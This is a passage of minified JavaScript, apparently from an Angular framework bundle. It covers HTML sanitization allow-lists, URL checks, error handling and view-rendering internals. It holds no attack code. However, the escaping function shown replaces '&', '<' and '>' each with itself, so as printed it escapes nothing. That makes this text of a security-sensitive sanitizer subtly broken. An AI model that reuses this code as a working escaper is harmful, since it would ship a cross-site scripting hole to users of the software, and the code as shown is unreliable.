null===e?this.inertDocumentHelper.getInertBodyElement(t):(e.removeChild(e.firstChild),e)}catch(e){return null}}}]),t}(),gi=function(){function t(e){if(_(this,t),this.defaultDoc=e,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert"),null==this.inertDocument.body){var n=this.inertDocument.createElement("html");this.inertDocument.appendChild(n);var i=this.inertDocument.createElement("body");n.appendChild(i)}}return y(t,[{key:"getInertBodyElement",value:function(t){var e=this.inertDocument.createElement("template");if("content"in e)return e.innerHTML=$n(t),e;var n=this.inertDocument.createElement("body");return n.innerHTML=$n(t),this.defaultDoc.documentMode&&this.stripCustomNsAttrs(n),n}},{key:"stripCustomNsAttrs",value:function(t){for(var e=t.attributes,n=e.length-1;0<n;n--){var i=e.item(n).name;("xmlns:ns1"===i||0===i.indexOf("ns1:"))&&t.removeAttribute(i)}for(var r=t.firstChild;r;)r.nodeType===Node.ELEMENT_NODE&&this.stripCustomNsAttrs(r),r=r.nextSibling}}]),t}(),yi=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^&:/?#]*(?:[/?#]|$))/gi,_i=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+\/]+=*$/i;function bi(t){return(t=String(t)).match(yi)||t.match(_i)?t:"unsafe:"+t}function ki(t){return(t=String(t)).split(",").map(function(t){return bi(t.trim())}).join(", ")}function wi(t){var e,n={},i=r(t.split(","));try{for(i.s();!(e=i.n()).done;){n[e.value]=!0}}catch(o){i.e(o)}finally{i.f()}return n}function Ci(){for(var t={},e=arguments.length,n=new Array(e),i=0;i<e;i++)n[i]=arguments[i];for(var r=0,o=n;r<o.length;r++){var a=o[r];for(var s in a)a.hasOwnProperty(s)&&(t[s]=!0)}return t}var xi,Si=wi("area,br,col,hr,img,wbr"),Ei=wi("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),Ai=wi("rp,rt"),Ti=Ci(Si,Ci(Ei,wi("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),Ci(Ai,wi("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),Ci(Ai,Ei)),Ii=wi("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),Oi=wi("srcset"),Ri=Ci(Ii,Oi,wi("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),wi("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),Pi=wi("script,style,template"),Ni=function(){function t(){_(this,t),this.sanitizedSomething=!1,this.buf=[]}return y(t,[{key:"sanitizeChildren",value:function(t){for(var e=t.firstChild,n=!0;e;)if(e.nodeType===Node.ELEMENT_NODE?n=this.startElement(e):e.nodeType===Node.TEXT_NODE?this.chars(e.nodeValue):this.sanitizedSomething=!0,n&&e.firstChild)e=e.firstChild;else for(;e;){e.nodeType===Node.ELEMENT_NODE&&this.endElement(e);var i=this.checkClobberedElement(e,e.nextSibling);if(i){e=i;break}e=this.checkClobberedElement(e,e.parentNode)}return this.buf.join("")}},{key:"startElement",value:function(t){var e=t.nodeName.toLowerCase();if(!Ti.hasOwnProperty(e))return this.sanitizedSomething=!0,!Pi.hasOwnProperty(e);this.buf.push("<"),this.buf.push(e);for(var n=t.attributes,i=0;i<n.length;i++){var r=n.item(i),o=r.name,a=o.toLowerCase();if(Ri.hasOwnProperty(a)){var s=r.value;Ii[a]&&(s=bi(s)),Oi[a]&&(s=ki(s)),this.buf.push(" ",o,'="',Mi(s),'"')}else this.sanitizedSomething=!0}return this.buf.push(">"),!0}},{key:"endElement",value:function(t){var e=t.nodeName.toLowerCase();Ti.hasOwnProperty(e)&&!Si.hasOwnProperty(e)&&(this.buf.push("</"),this.buf.push(e),this.buf.push(">"))}},{key:"chars",value:function(t){this.buf.push(Mi(t))}},{key:"checkClobberedElement",value:function(t,e){if(e&&(t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error("Failed to sanitize html because the element is clobbered: ".concat(t.outerHTML));return e}}]),t}(),Di=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Li=/([^\#-~ |!])/g;function Mi(t){return t.replace(/&/g,"&").replace(Di,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(Li,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}function Fi(t,e){var n=null;try{xi=xi||vi(t);var i=e?String(e):"";n=xi.getInertBodyElement(i);var r=5,o=i;do{if(0===r)throw new Error("Failed to sanitize html because the input is unstable");r--,i=o,o=n.innerHTML,n=xi.getInertBodyElement(i)}while(i!==o);return $n((new Ni).sanitizeChildren(Ui(n)||n))}finally{if(n)for(var a=Ui(n)||n;a.firstChild;)a.removeChild(a.firstChild)}}function Ui(t){return"content"in t&&function(t){return t.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===t.nodeName}(t)?t.content:null}var Bi=((Bi=Bi||{})[Bi.NONE=0]="NONE",Bi[Bi.HTML=1]="HTML",Bi[Bi.STYLE=2]="STYLE",Bi[Bi.SCRIPT=3]="SCRIPT",Bi[Bi.URL=4]="URL",Bi[Bi.RESOURCE_URL=5]="RESOURCE_URL",Bi);function ji(t){var e=Vi();return e?ti(e.sanitize(Bi.HTML,t)||""):ui(t,"HTML")?ti(si(t)):Fi(jt(),I(t))}function Hi(t){var e=Vi();return e?e.sanitize(Bi.URL,t)||"":ui(t,"URL")?si(t):bi(I(t))}function Vi(){var t=ne();return t&&t[12]}var Gi="__ngContext__";function Yi(t,e){t[Gi]=e}function qi(t){var e=function(t){return t[Gi]||null}(t);return e?Array.isArray(e)?e:e.lView:null}function zi(t){return t.ngOriginalError}function Zi(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),i=1;i<e;i++)n[i-1]=arguments[i];t.error.apply(t,n)}var Wi=function(){function t(){_(this,t),this._console=console}return y(t,[{key:"handleError",value:function(t){var e,n=this._findOriginalError(t),i=this._findContext(t),r=(e=t)&&e.ngErrorLogger||Zi;r(this._console,"ERROR",t),n&&r(this._console,"ORIGINAL ERROR",n),i&&r(this._console,"ERROR CONTEXT",i)}},{key:"_findContext",value:function(t){return t?t.ngDebugContext||this._findContext(zi(t)):null}},{key:"_findOriginalError",value:function(t){for(var e=t&&zi(t);e&&zi(e);)e=zi(e);return e||null}}]),t}(),Ji=("undefined"!=typeof requestAnimationFrame&&requestAnimationFrame||setTimeout).bind(X);function Qi(t){return t.ownerDocument.defaultView}function Ki(t){return t.ownerDocument}function Xi(t){return t instanceof Function?t():t}var $i,tr=((tr=tr||{})[tr.Important=1]="Important",tr[tr.DashCase=2]="DashCase",tr);function er(t,e){return $i(t,e)}function nr(t){var e=t[3];return Ct(e)?e[3]:e}function ir(t){return or(t[13])}function rr(t){return or(t[4])}function or(t){for(;null!==t&&!Ct(t);)t=t[4];return t}function ar(t,e,n,i,r){if(null!=i){var o,a=!1;Ct(i)?o=i:wt(i)&&(a=!0,i=i[0]);var s=Gt(i);0===t&&null!==n?null==r?mr(e,n,s):vr(e,n,s,r||null,!0):1===t&&null!==n?vr(e,n,s,r||null,!0):2===t?function(t,e,n){var i=yr(t,e);i&&function(t,e,n,i){Ht(t)?t.removeChild(e,n,i):e.removeChild(n)}(t,i,e,n)}(e,s,a):3===t&&e.destroyNode(s),null!=o&&function(t,e,n,i,r){var o=n[7];o!==Gt(n)&&ar(e,t,i,o,r);for(var a=10;a<n.length;a++){var s=n[a];Ir(s[1],s,t,e,i,o)}}(e,t,o,n,r)}}function sr(t,e){return Ht(t)?t.createText(e):t.createTextNode(e)}function ur(t,e,n){return Ht(t)?t.createElement(e,n):null===n?t.createElement(e):t.createElementNS(n,e)}function cr(t,e){var n=t[9],i=n.indexOf(e),r=e[3];1024&e[2]&&(e[2]&=-1025,$t(r,-1)),n.splice(i,1)}function lr(t,e){if(!(t.length<=10)){var n=10+e,i=t[n];if(i){var r=i[17];null!==r&&r!==t&&cr(r,i),e>0&&(t[n-1][4]=i[4]);var o=Tn(t,10+e);!function(t,e){Ir(t,e,e[kt],2,null,null),e[0]=null,e[6]=null}(i[1],i);var a=o[19];null!==a&&a.detachView(o[1]),i[3]=null,i[4]=null,i[2]&=-129}return i}}function hr(t,e){if(!(256&e[2])){var n=e[kt];Ht(n)&&n.destroyNode&&Ir(t,e,n,3,null,null),function(t){var e=t[13];if(!e)return fr(t[1],t);for(;e;){var n=null;if(wt(e))n=e[13];else{var i=e[10];i&&(n=i)}if(!n){for(;e&&!e[4]&&e!==t;)wt(e)&&fr(e[1],e),e=e[3];null===e&&(e=t),wt(e)&&fr(e[1],e),n=e&&e[4]}e=n}}(e)}}function fr(t,e){if(!(256&e[2])){e[2]&=-129,e[2]|=256,function(t,e){var n;if(null!=t&&null!=(n=t.destroyHooks))for(var i=0;i<n.length;i+=2){var r=e[n[i]];if(!(r instanceof Ve)){var o=n[i+1];if(Array.isArray(o))for(var a=0;a<o.length;a+=2){var s=r[o[a]],u=o[a+1];try{u.call(s)}finally{}}else try{o.call(r)}finally{}}}}(t,e),function(t,e){var n=t.cleanup,i=e[7],r=-1;if(null!==n)for(var o=0;o<n.length-1;o+=2)if("string"==typeof n[o]){var a=n[o+1],s="function"==typeof a?a(e):Gt(e[a]),u=i[r=n[o+2]],c=n[o+3];"boolean"==typeof c?s.removeEventListener(n[o],u,c):c>=0?i[r=c]():i[r=-c].unsubscribe(),o+=2}else{var l=i[r=n[o+1]];n[o].call(l)}if(null!==i){for(var h=r+1;h<i.length;h++)i[h]();e[7]=null}}(t,e),1===e[1].type&&Ht(e[kt])&&e[kt].destroy();var n=e[17];if(null!==n&&Ct(e[3])){n!==e[3]&&cr(n,e);var i=e[19];null!==i&&i.detachView(t)}}}function dr(t,e,n){return pr(t,e.parent,n)}function pr(t,e,n){for(var i=e;null!==i&&40&i.type;)i=(e=i).parent;if(null===i)return n[0];if(2&i.flags){var r=t.data[i.directiveStart].encapsulation;if(r===W.None||r===W.Emulated)return null}return qt(i,n)}function vr(t,e,n,i,r){Ht(t)?t.insertBefore(e,n,i,r):e.insertBefore(n,i,r)}function mr(t,e,n){Ht(t)?t.appendChild(e,n):e.appendChild(n)}function gr(t,e,n,i,r){null!==i?vr(t,e,n,i,r):mr(t,e,n)}function yr(t,e){return Ht(t)?t.parentNode(e):e.parentNode}function _r(t,e,n){return wr(t,e,n)}function br(t,e,n){return 40&t.type?qt(t,n):null}var kr,wr=br;function Cr(t,e){wr=t,kr=e}function xr(t,e,n,i){var r=dr(t,i,e),o=e[kt],a=_r(i.parent||e[6],i,e);if(null!=r)if(Array.isArray(n))for(var s=0;s<n.length;s++)gr(o,r,n[s],a,!1);else gr(o,r,n,a,!1);void 0!==kr&&kr(o,i,e,n,r)}function Sr(t,e){if(null!==e){var n=e.type;if(3&n)return qt(e,t);if(4&n)return Ar(-1,t[e.index]);if(8&n){var i=e.child;if(null!==i)return Sr(t,i);var r=t[e.index];return Ct(r)?Ar(-1,r):Gt(r)}if(32&n)return er(e,t)()||Gt(t[e.index]);var o=Er(t,e);return null!==o?Array.isArray(o)?o[0]:Sr(nr(t[16]),o):Sr(t,e.next)}return null}function Er(t,e){return null!==e?t[16][6].projection[e.projection]:null}function Ar(t,e){var n=10+t+1;if(n<e.length){var i=e[n],r=i[1].firstChild;if(null!==r)return Sr(i,r)}return e[7]}function Tr(t,e,n,i,r,o,a){for(;null!=n;){var s=i[n.index],u=n.type;if(a&&0===e&&(s&&Yi(Gt(s),i),n.flags|=4),64!=(64&n.flags))if(8&u)Tr(t,e,n.child,i,r,o,!1),ar(e,t,r,s,o);else if(32&u){for(var c=er(n,i),l=void 0;l=c();)ar(e,t,r,l,o);ar(e,t,r,s,o)}else 16&u?Or(t,e,i,n,r,o):ar(e,t,r,s,o);n=a?n.projectionNext:n.next}}function Ir(t,e,n,i,r,o){Tr(n,i,t.firstChild,e,r,o,!1)}function Or(t,e,n,i,r,o){var a=n[16],s=a[6].projection[i.projection];if(Array.isArray(s))for(var u=0;u<s.length;u++)ar(e,t,r,s[u],o);else Tr(t,e,s,a[3],r,o,!0)}function Rr(t,e,n){Ht(t)?t.setAttribute(e,"style",n):e.style.cssText=n}function Pr(t,e,n){Ht(t)?""===n?t.removeAttribute(e,"class"):t.setAttribute(e,"class",n):e.className=n}function Nr(t,e,n){for(var i=t.length;;){var r=t.indexOf(e,n);if(-1===r)return r;if(0===r||t.charCodeAt(r-1)<=32){var o=e.length;if(r+o===i||t.charCodeAt(r+o)<=32)return r}n=r+1}}var Dr="ng-template";function Lr(t,e,n){for(var i=0;i<t.length;){var r=t[i++];if(n&&"class"===r){if(-1!==Nr((r=t[i]).toLowerCase(),e,0))return!0}else if(1===r){for(;i<t.length&&"string"==typeof(r=t[i++]);)if(r.toLowerCase()===e)return!0;return!1}}return!1}function Mr(t){return 4===t.type&&t.value!==Dr}function Fr(t,e,n){return e===(4!==t.type||n?t.value:Dr)}function Ur(t,e,n){for(var i=4,r=t.attrs||[],o=function(t){for(var e=0;e<t.length;e++)if(Ye(t[e]))return e;return t.length}(r),a=!1,s=0;s<e.length;s++){var u=e[s];if("number"!=typeof u){if(!a)if(4&i){if(i=2|1&i,""!==u&&!Fr(t,u,n)||""===u&&1===e.length){if(Br(i))return!1;a=!0}}else{var c=8&i?u:e[++s];if(8&i&&null!==t.attrs){if(!Lr(t.attrs,c,n)){if(Br(i))return!1;a=!0}continue}var l=jr(8&i?"class":u,r,Mr(t),n);if(-1===l){if(Br(i))return!1;a=!0;continue}if(""!==c){var h;h=l>o?"":r[l+1].toLowerCase();var f=8&i?h:null;if(f&&-1!==Nr(f,c,0)||2&i&&c!==h){if(Br(i))return!1;a=!0}}}}else{if(!a&&!Br(i)&&!Br(u))return!1;if(a&&Br(u))continue;a=!1,i=u|1&i}}return Br(i)||a}function Br(t){return 0==(1&t)}function jr(t,e,n,i){if(null===e)return-1;var r=0;if(i||!n){for(var o=!1;r<e.length;){var a=e[r];if(a===t)return r;if(3===a||6===a)o=!0;else{if(1===a||2===a){for(var s=e[++r];"string"==typeof s;)s=e[++r];continue}if(4===a)break;if(0===a){r+=4;continue}}r+=o?1:2}return-1}return function(t,e){var n=t.indexOf(4);if(n>-1)for(n++;n<t.length;){var i=t[n];if("number"==typeof i)return-1;if(i===e)return n;n++}return-1}(e,t)}function Hr(t,e){for(var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=0;i<e.length;i++)if(Ur(t,e[i],n))return!0;return!1}function Vr(t,e){t:for(var n=0;n<e.length;n++){var i=e[n];if(t.length===i.length){for(var r=0;r<t.length;r++)if(t[r]!==i[r])continue t;return!0}}return!1}function Gr(t,e){return t?":not("+e.trim()+")":e}function Yr(t){for(var e=t[0],n=1,i=2,r="",o=!1;n<t.length;){var a=t[n];if("string"==typeof a)if(2&i){var s=t[++n];r+="["+a+(s.length>0?'="'+s+'"':"")+"]"}else 8&i?r+="."+a:4&i&&(r+=" "+a);else""!==r&&!Br(a)&&(e+=Gr(o,r),r=""),i=a,o=o||!Br(i);n++}return""!==r&&(e+=Gr(o,r)),e}var qr={};function zr(t){Zr(ie(),ne(),Re()+t,he())}function Zr(t,e,n,i){if(!i)if(3==(3&e[2])){var r=t.preOrderCheckHooks;null!==r&&Fe(e,r,n)}else{var o=t.preOrderHooks;null!==o&&Ue(e,o,0,n)}Pe(n)}function Wr(t,e){return t<<17|e<<2}function Jr(t){return t>>17&32767}function Qr(t){return 2|t}function Kr(t){return(131068&t)>>2}function Xr(t,e){return-131069&t|e<<2}function $r(t){return 1|t}function to(t,e){var n=t.contentQueries;if(null!==n)for(var i=0;i<n.length;i+=2){var r=n[i],o=n[i+1];if(-1!==o){var a=t.data[o];we(r),a.contentQueries(2,e[o],o)}}}function eo(t,e,n,i,r,o,a,s,u,c){var l=e.blueprint.slice();return l[0]=r,l[2]=140|i,Xt(l),l[3]=l[15]=t,l[8]=n,l[10]=a||t&&t[10],l[kt]=s||t&&t[kt],l[12]=u||t&&t[12]||null,l[9]=c||t&&t[9]||null,l[6]=o,l[16]=2==e.type?t[16]:l,l}function no(t,e,n,i,r){var o=t.data[e];if(null===o)o=io(t,e,n,i,r),te.lFrame.inI18n&&(o.flags|=64);else if(64&o.type){o.type=n,o.value=i,o.attrs=r;var a=se();o.injectorIndex=null===a?-1:a.injectorIndex}return ue(o,!0),o}function io(t,e,n,i,r){var o=ae(),a=ce(),s=t.data[e]=function(t,e,n,i,r,o){return{type:n,index:i,insertBeforeIndex:null,injectorIndex:e?e.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,propertyBindings:null,flags:0,providerIndexes:0,value:r,attrs:o,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tViews:null,next:null,projectionNext:null,child:null,parent:e,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,a?o:o&&o.parent,n,e,i,r);return null===t.firstChild&&(t.firstChild=s),null!==o&&(a?null==o.child&&null!==s.parent&&(o.child=s):null===o.next&&(o.next=s)),s}function ro(t,e,n,i){if(0===n)return-1;for(var r=e.length,o=0;o<n;o++)e.push(i),t.blueprint.push(i),t.data.push(null);return r}function oo(t,e,n){Se(e);try{var i=t.viewQuery;null!==i&&Mo(1,i,n);var r=t.template;null!==r&&uo(t,e,r,1,n),t.firstCreatePass&&(t.firstCreatePass=!1),t.staticContentQueries&&to(t,e),t.staticViewQueries&&Mo(2,t.viewQuery,n);var o=t.components;null!==o&&function(t,e){for(var n=0;n<e.length;n++)Ro(t,e[n])}(e,o)}catch(i){throw t.firstCreatePass&&(t.incompleteFirstPass=!0,t.firstCreatePass=!1),i}finally{e[2]&=-5,Oe()}}function ao(t,e,n,i){var r=e[2];if(256!=(256&r)){Se(e);var o=he();try{Xt(e),function(t){te.lFrame.bindingIndex=t}(t.bindingStartIndex),null!==n&&uo(t,e,n,2,i);var a=3==(3&r);if(!o)if(a){var s=t.preOrderCheckHooks;null!==s&&Fe(e,s,null)}else{var u=t.preOrderHooks;null!==u&&Ue(e,u,0,null),Be(e,0)}if(function(t){for(var e=ir(t);null!==e;e=rr(e))if(e[2])for(var n=e[9],i=0;i<n.length;i++){var r=n[i],o=r[3];0==(1024&r[2])&&$t(o,1),r[2]|=1024}}(e),function(t){for(var e=ir(t);null!==e;e=rr(e))for(var n=10;n<e.length;n++){var i=e[n],r=i[1];Qt(i)&&ao(r,i,r.template,i[8])}}(e),null!==t.contentQueries&&to(t,e),!o)if(a){var c=t.contentCheckHooks;null!==c&&Fe(e,c)}else{var l=t.contentHooks;null!==l&&Ue(e,l,1),Be(e,1)}!function(t,e){var n=t.hostBindingOpCodes;if(null!==n)try{for(var i=0;i<n.length;i++){var r=n[i];if(r<0)Pe(~r);else{var o=r,a=n[++i],s=n[++i];ye(a,o),s(2,e[o])}}}finally{Pe(-1)}}(t,e);var h=t.components;null!==h&&function(t,e){for(var n=0;n<e.length;n++)Io(t,e[n])}(e,h);var f=t.viewQuery;if(null!==f&&Mo(2,f,i),!o)if(a){var d=t.viewCheckHooks;null!==d&&Fe(e,d)}else{var p=t.viewHooks;null!==p&&Ue(e,p,2),Be(e,2)}!0===t.firstUpdatePass&&(t.firstUpdatePass=!1),o||(e[2]&=-73),1024&e[2]&&(e[2]&=-1025,$t(e[3],-1))}finally{Oe()}}}function so(t,e,n,i){var r=e[10],o=!he(),a=Jt(e);try{o&&!a&&r.begin&&r.begin(),a&&oo(t,e,i),ao(t,e,n,i)}finally{o&&!a&&r.end&&r.end()}}function uo(t,e,n,i,r){var o=Re(),a=2&i;try{Pe(-1),a&&e.length>20&&Zr(t,e,20,he()),n(i,r)}finally{Pe(o)}}function co(t,e,n){if(xt(e))for(var i=e.directiveEnd,r=e.directiveStart;r<i;r++){var o=t.data[r];o.contentQueries&&o.contentQueries(1,n[r],r)}}function lo(t,e,n){!ee()||(function(t,e,n,i){var r=n.directiveStart,o=n.directiveEnd;t.firstCreatePass||tn(n,e),Yi(i,e);for(var a=n.initialInputs,s=r;s<o;s++){var u=t.data[s],c=At(u);c&&So(e,n,u);var l=dn(e,t,s,n);Yi(l,e),null!==a&&Eo(0,s-r,l,u,0,a),c&&(Wt(n.index,e)[8]=l)}}(t,e,n,qt(n,e)),128==(128&n.flags)&&function(t,e,n){var i=n.directiveStart,r=n.directiveEnd,o=n.index,a=te.lFrame.currentDirectiveIndex;try{Pe(o);for(var s=i;s<r;s++){var u=t.data[s],c=e[s];_e(s),(null!==u.hostBindings||0!==u.hostVars||null!==u.hostAttrs)&&bo(u,c)}}finally{Pe(-1),_e(a)}}(t,e,n))}function ho(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:qt,i=e.localNames;if(null!==i)for(var r=e.index+1,o=0;o<i.length;o+=2){var a=i[o+1],s=-1===a?n(e,t):t[a];t[r++]=s}}function fo(t){var e=t.tView;return null===e||e.incompleteFirstPass?t.tView=po(1,null,t.template,t.decls,t.vars,t.directiveDefs,t.pipeDefs,t.viewQuery,t.schemas,t.consts):e}function po(t,e,n,i,r,o,a,s,u,c){var l=20+i,h=l+r,f=function(t,e){for(var n=[],i=0;i<e;i++)n.push(i<t?null:qr);return n}(l,h),d="function"==typeof c?c():c;return f[1]={type:t,blueprint:f,template:n,queries:null,viewQuery:s,declTNode:e,data:f.slice().fill(null,l),bindingStartIndex:l,expandoStartIndex:h,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof o?o():o,pipeRegistry:"function"==typeof a?a():a,firstChild:null,schemas:u,consts:d,incompleteFirstPass:!1}}function vo(t,e,n,i){var r=Uo(e);null===n?r.push(i):(r.push(n),t.firstCreatePass&&Bo(t).push(i,r.length-1))}function mo(t,e,n){for(var i in t)if(t.hasOwnProperty(i)){var r=t[i];(n=null===n?{}:n).hasOwnProperty(i)?n[i].push(e,r):n[i]=[e,r]}return n}function go(t,e,n,i,r,o,a,s){var u,c=qt(e,n),l=e.inputs;!s&&null!=l&&(u=l[i])?(Vo(t,n,u,i,r),St(e)&&function(t,e){var n=Wt(e,t);16&n[2]||(n[2]|=64)}(n,e.index)):3&e.type&&(i=function(t){return"class"===t?"className":"for"===t?"htmlFor":"formaction"===t?"formAction":"innerHtml"===t?"innerHTML":"readonly"===t?"readOnly":"tabindex"===t?"tabIndex":t}(i),r=null!=a?a(r,e.value||"",i):r,Ht(o)?o.setProperty(c,i,r):qe(i)||(c.setProperty?c.setProperty(i,r):c[i]=r))}function yo(t,e,n,i){var r=!1;if(ee()){var o=function(t,e,n){var i=t.directiveRegistry,r=null;if(i)for(var o=0;o<i.length;o++){var a=i[o];Hr(n,a.selectors,!1)&&(r||(r=[]),on(tn(n,e),t,a.type),At(a)?(ko(t,n),r.unshift(a)):r.push(a))}return r}(t,e,n),a=null===i?null:{"":-1};if(null!==o){r=!0,Co(n,t.data.length,o.length);for(var s=0;s<o.length;s++){var u=o[s];u.providersResolver&&u.providersResolver(u)}for(var c=!1,l=!1,h=ro(t,e,o.length,null),f=0;f<o.length;f++){var d=o[f];n.mergedAttrs=ze(n.mergedAttrs,d.hostAttrs),xo(t,n,e,h,d),wo(h,d,a),null!==d.contentQueries&&(n.flags|=8),(null!==d.hostBindings||null!==d.hostAttrs||0!==d.hostVars)&&(n.flags|=128);var p=d.type.prototype;!c&&(p.ngOnChanges||p.ngOnInit||p.ngDoCheck)&&((t.preOrderHooks||(t.preOrderHooks=[])).push(n.index),c=!0),!l&&(p.ngOnChanges||p.ngDoCheck)&&((t.preOrderCheckHooks||(t.preOrderCheckHooks=[])).push(n.index),l=!0),h++}!function(t,e){for(var n=e.directiveEnd,i=t.data,r=e.attrs,o=[],a=null,s=null,u=e.directiveStart;u<n;u++){var c=i[u],l=c.inputs,h=null===r||Mr(e)?null:Ao(l,r);o.push(h),a=mo(l,u,a),s=mo(c.outputs,u,s)}null!==a&&(a.hasOwnProperty("class")&&(e.flags|=16),a.hasOwnProperty("style")&&(e.flags|=32)),e.initialInputs=o,e.inputs=a,e.outputs=s}(t,n)}a&&function(t,e,n){if(e)for(var i=t.localNames=[],r=0;r<e.length;r+=2){var o=n[e[r+1]];if(null==o)throw new T("301","Export of name '".concat(e[r+1],"' not found!"));i.push(e[r],o)}}(n,i,a)}return n.mergedAttrs=ze(n.mergedAttrs,n.attrs),r}function _o(t,e,n,i,r,o){var a=o.hostBindings;if(a){var s=t.hostBindingOpCodes;null===s&&(s=t.hostBindingOpCodes=[]);var u=~e.index;(function(t){for(var e=t.length;e>0;){var n=t[--e];if("number"==typeof n&&n<0)return n}return 0})(s)!=u&&s.push(u),s.push(i,r,a)}}function bo(t,e){null!==t.hostBindings&&t.hostBindings(1,e)}function ko(t,e){e.flags|=2,(t.components||(t.components=[])).push(e.index)}function wo(t,e,n){if(n){if(e.exportAs)for(var i=0;i<e.exportAs.length;i++)n[e.exportAs[i]]=t;At(e)&&(n[""]=t)}}function Co(t,e,n){t.flags|=1,t.directiveStart=e,t.directiveEnd=e+n,t.providerIndexes=e}function xo(t,e,n,i,r){t.data[i]=r;var o=r.factory||(r.factory=It(r.type)),a=new Ve(o,At(r),null);t.blueprint[i]=a,n[i]=a,_o(t,e,0,i,ro(t,n,r.hostVars,qr),r)}function So(t,e,n){var i=qt(e,t),r=fo(n),o=t[10],a=Po(t,eo(t,r,null,n.onPush?64:16,i,e,o,o.createRenderer(i,n),null,null));t[e.index]=a}function Eo(t,e,n,i,r,o){var a=o[e];if(null!==a)for(var s=i.setInput,u=0;u<a.length;){var c=a[u++],l=a[u++],h=a[u++];null!==s?i.setInput(n,h,c,l):n[l]=h}}function Ao(t,e){for(var n=null,i=0;i<e.length;){var r=e[i];if(0!==r)if(5!==r){if("number"==typeof r)break;t.hasOwnProperty(r)&&(null===n&&(n=[]),n.push(r,t[r],e[i+1])),i+=2}else i+=2;else i+=4}return n}function To(t,e,n,i){return new Array(t,!0,!1,e,null,0,i,n,null,null)}function Io(t,e){var n=Wt(e,t);if(Qt(n)){var i=n[1];80&n[2]?ao(i,n,i.template,n[8]):n[5]>0&&Oo(n)}}function Oo(t){for(var e=ir(t);null!==e;e=rr(e))for(var n=10;n<e.length;n++){var i=e[n];if(1024&i[2]){var r=i[1];ao(r,i,r.template,i[8])}else i[5]>0&&Oo(i)}var o=t[1].components;if(null!==o)for(var a=0;a<o.length;a++){var s=Wt(o[a],t);Qt(s)&&s[5]>0&&Oo(s)}}function Ro(t,e){var n=Wt(e,t),i=n[1];(function(t,e){for(var n=e.length;n<t.blueprint.length;n++)e.push(t.blueprint[n])})(i,n),oo(i,n,n[8])}function Po(t,e){return t[13]?t[14][4]=e:t[13]=e,t[14]=e,e}function No(t){for(;t;){t[2]|=64;var e=nr(t);if(Tt(t)&&!e)return t;t=e}return null}function Do(t,e,n){var i=e[10];i.begin&&i.begin();try{ao(t,e,t.template,n)}catch(r){throw Ho(e,r),r}finally{i.end&&i.end()}}function Lo(t){!function(t){for(var e=0;e<t.components.length;e++){var n=t.components[e],i=qi(n),r=i[1];so(r,i,r.template,n)}}(t[8])}function Mo(t,e,n){we(0),e(t,n)}var Fo=Promise.resolve(null);function Uo(t){return t[7]||(t[7]=[])}function Bo(t){return t.cleanup||(t.cleanup=[])}function jo(t,e,n){return(null===t||At(t))&&(n=function(t){for(;Array.isArray(t);){if("object"==typeof t[1])return t;t=t[0]}return null}(n[e.index])),n[kt]}function Ho(t,e){var n=t[9],i=n?n.get(Wi,null):null;i&&i.handleError(e)}function Vo(t,e,n,i,r){for(var o=0;o<n.length;){var a=n[o++],s=n[o++],u=e[a],c=t.data[a];null!==c.setInput?c.setInput(u,r,i,s):u[s]=r}}function Go(t,e,n){var i=Yt(e,t);!function(t,e,n){Ht(t)?t.setValue(e,n):e.textContent=n}(t[kt],i,n)}function Yo(t,e,n){var i=n?t.styles:null,r=n?t.classes:null,o=0;if(null!==e)for(var a=0;a<e.length;a++){var s=e[a];"number"==typeof 